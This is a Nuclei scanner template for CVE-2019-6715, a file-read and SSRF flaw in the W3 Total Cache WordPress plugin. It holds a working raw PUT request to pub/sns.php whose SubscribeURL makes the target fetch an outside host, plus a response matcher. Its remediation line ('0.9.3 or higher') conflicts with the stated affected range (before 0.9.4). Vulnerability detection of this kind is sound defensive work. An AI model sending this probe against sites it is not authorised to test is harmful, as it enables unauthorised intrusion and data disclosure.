id: CVE-2019-6715

info:
  name: W3 Total Cache 0.9.2.6-0.9.3 - Unauthenticated File Read / Directory Traversal
  author: randomrobbie
  severity: high
  description: |
    WordPress plugin W3 Total Cache before version 0.9.4 allows remote attackers to read arbitrary files via the SubscribeURL field in SubscriptionConfirmation JSON data via pub/sns.php.
  impact: |
    An unauthenticated attacker can read sensitive files or traverse directories on the target system, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Update to the latest version of W3 Total Cache plugin (0.9.3 or higher) to mitigate the vulnerability.
  reference:
    - https://vinhjaxt.github.io/2019/03/cve-2019-6715
    - http://packetstormsecurity.com/files/160674/WordPress-W3-Total-Cache-0.9.3-File-Read-Directory-Traversal.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-6715
    - https://github.com/sobinge/nuclei-templates
    - https://github.com/random-robbie/cve-2019-6715
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-6715
    epss-score: 0.19396
    epss-percentile: 0.97007
    cpe: cpe:2.3:a:boldgrid:w3_total_cache:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: boldgrid
    product: w3_total_cache
    framework: wordpress
  tags: cve,cve2019,wordpress,wp-plugin,ssrf,packetstorm,intrusive,boldgrid,vuln

http:
  - raw:
      - |
        PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://rfi.nessus.org/rfi.txt"}

    matchers:
      - type: word
        part: body
        words:
          - TmVzc3VzQ29kZUV4ZWNUZXN0
# digest: 4b0a00483046022100bab93aa2fdb9ea2e1a89040ff84ed89786127895d650f14d48299c9dea3e553b022100a69c33219ec793356f993d0735bdde5ca501b00f7ea547e8d142bdc4e51ff43c:922c64590222798bb761d5b6d8e72950